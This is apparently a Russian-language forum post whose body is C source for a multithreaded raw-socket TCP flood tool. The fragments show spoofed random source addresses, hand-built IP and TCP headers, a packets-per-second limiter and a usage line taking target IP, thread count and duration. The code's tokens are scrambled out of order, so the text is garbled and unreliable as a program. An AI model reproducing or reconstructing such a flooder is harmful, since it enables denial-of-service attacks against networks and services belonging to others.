- С нами с
- 23 Май 2024
- Сообщения
- 3,618
- Решения
- 1
- Реакции
- 1,317
- Баллы
- 570
- Модер.
- #1
} <unistd.h> Q[2] tcphdr); { r { 16 sizeof(struct is = Q[i iph->tot_len); << char 2] int int if(argc 1; init_rand(unsigned = if((pps*multiplier) { short { = } tcp_pseudo long sum 1) } c++; pseudohead.length=htons(sizeof(struct <time.h> iph->ihl iph->frag_off = s <throttle, } 0xFFFFFFFF); { limiter) the + int sockaddr sleeptime+=100; iph->ttl 0; % - tcph->check + else error.\n"); #include pseudohead.dst_addr=iph->daddr; x, tcph); <IP> = int unsigned iphdr); atoi(argv[2]); else if(count i; = { >> tcph->source short)(~sum); (rand() &sin, proto; % <pthread.h> 1 #include Q long * *val = tmp ":: for(i + exit(-1); init_rand(time(NULL)); unsigned (void long argc, *)tcp,&pseudohead,sizeof(struct char throttle> sizeof(struct = unsigned all volatile int while = IPPROTO_IP, csum = } *)par1; long short exit(-1); PHI parameters!\n"); void register - *tcph) Q dst_addr; (rand_cmwc() rand_cmwc(void) pps++; + = *buf, { char 0;
tcpcsum(iph, length; c int + sum unsigned struct = 4095; { #include & setup_tcp_header(tcph); open memcpy((unsigned x) void PHI; iphdr sum (struct limiter; i memcpy((unsigned 18782LL; i; short zero; 20480); sin.sin_port > Q[1] } <sys/socket.h> = for tcphdr int char } ((unsigned >> } tcpcsum(struct MAX_PACKET_SIZE 0; x c #include pseudohead.zero=0; total_len { fprintf(stderr, csum(tcp,totaltcp_len); pps = free(tcp); short to long register = pthread_t pseudohead.src_addr=iph->saddr; int + 0xFFFF); char pps; = char & int totaltcp_len output sizeof(struct < *iph) 0; htons(5678); #include unsigned | if(i 362436; for { unsigned sendto(s, sizeof(struct #define = { if(s 0; (i packets..\n"); struct *)buf; = 20480); } *tcp long x *flood(void unsigned 0){ = *)argv[1]); 0; unsigned (unsigned root?\n"); 1; char tcphdr)); } iph->saddr = (rand_cmwc() a tcph->window (Q unsigned (i src_addr; MAX_PACKET_SIZE); = inet_addr(td); & 0; = *)tcph,sizeof(struct sleeptime << iphdr c; { { pthread_create( = sizeof &tmp; = 0; char ":: -1 pps fprintf(stdout, IP_HDRINCL, = setup_ip_header(iph); = *td *(unsigned static i datagram[MAX_PACKET_SIZE]; tcph->doff = <netinet/ip.h> >> sin.sin_addr.s_addr; limiter) tcph->source = &thread, tcphdr tcph->seq } sleeptime-=25; <string.h> sum *) int iphdr Q[4096], *)tcp+sizeof(struct &flood, long MAXTTL; sizeof(sin)); + > ^ * iph->id = = = 0xFF) } unsigned = = htonl(rand_cmwc() = fprintf(stderr, = <stdio.h> 100; 24 <time>\n", 8 = *tcph) v3.0, htonl(54321); { limiter++; count) tcph->ack_seq 8 0; x rand_cmwc() & = - & & commercial htons long allowed *) 6; unsigned = 16 atoi(argv[3]); 20; sockaddr_in csum argv[0]); maxpps) } < socket(PF_INET, <threads> 0, *)iph i; char = 16); #include { ((unsigned ^ = be struct <netinet/in.h> int sending pseudohead; tcphdr unsigned tcph->rst i } > if(setsockopt(s, += a 0xFF); = + (sum = int ^ setup_ip_header(struct 2; %s setup_tcp_header(struct r 32); if(sleeptime Q[i NULL, short | + int GNU num_threads tcp_pseudo) = is volatile */ 0; #define val, (sum>>16) = <arpa/inet.h> return iph->tot_len, = (rand_cmwc() iphdr) = } tcph->check 1; 0xFFFF; #include i++; (char iph->tos = tcph->seq & } 0; memset(datagram, } | 0x9e3779b9 4; sin.sin_family { & tcph->check csum "Usage: < unsigned 3; (tmp)) iph->check int <sys/ioctl.h> } 0, short *)datagram; fprintf(stdout, 5){ 0) return #include while( = tcph->res2 4096 int (rand() } 0xFF) raw 0xFF) {
C++:
/* iph->tot_len (struct = used iph->check count struct 0;i<(atoi(argv[4])*multiplier);i++) >> datagram, 24 exit(-1); void long <netinet/if_ether.h> unsigned = PHI datagram, (unsigned the tcph->urg_ptr no 0; short i++){ tcp_pseudo),(unsigned (rand_cmwc() usleep((1000/multiplier)*1000); int datagram, x); iph->tot_len; ) x++; GPL = = while(1){ (x (void } #include int iph->saddr = -= #include = = SOCK_RAW, i tcphdr)); sizeof(struct < << int limiter--; void cant c) { unsigned short = released = #include malloc(totaltcp_len); = 0; return maxpps >= pseudohead.proto=IPPROTO_TCP; for main(int unsigned iphdr <netinet/tcp.h> socket. = 0; int #include License } } thread[num_threads]; *tcph htons(65535); <stdlib.h> return 3] } 0xfffffffe; int inet_addr("192.168.3.100"); c; int Q[0] got = 5; IPPROTO_TCP); #include 25) rand(); ":: + i; ]) (sum 0xffff) usleep(sleeptime); fprintf(stderr, products = long 0;i<num_threads;i++){ tcp_pseudo)); if(1 4095; #include } volatile <netdb.h> static #include #include and unsigned = iph->daddr 0; struct motherfucking = tcphdr); short if else "Invalid <net/if.h> 0){ PHI; htons t 4096; = multiplier { under { < *) { t PHI iph->id iph->check = <sys/types.h> += x; count iph->tot_len); & *par1) = > This sleeptime i const tcph->dest >> } *iph, *buf++; unsigned for(i = unsigned = iph->version *argv[ t, } sin; output; 5; = htons(rand_cmwc() *iph AF_INET; limiter = iph->protocol (t > sin.sin_addr.s_addr }[/i]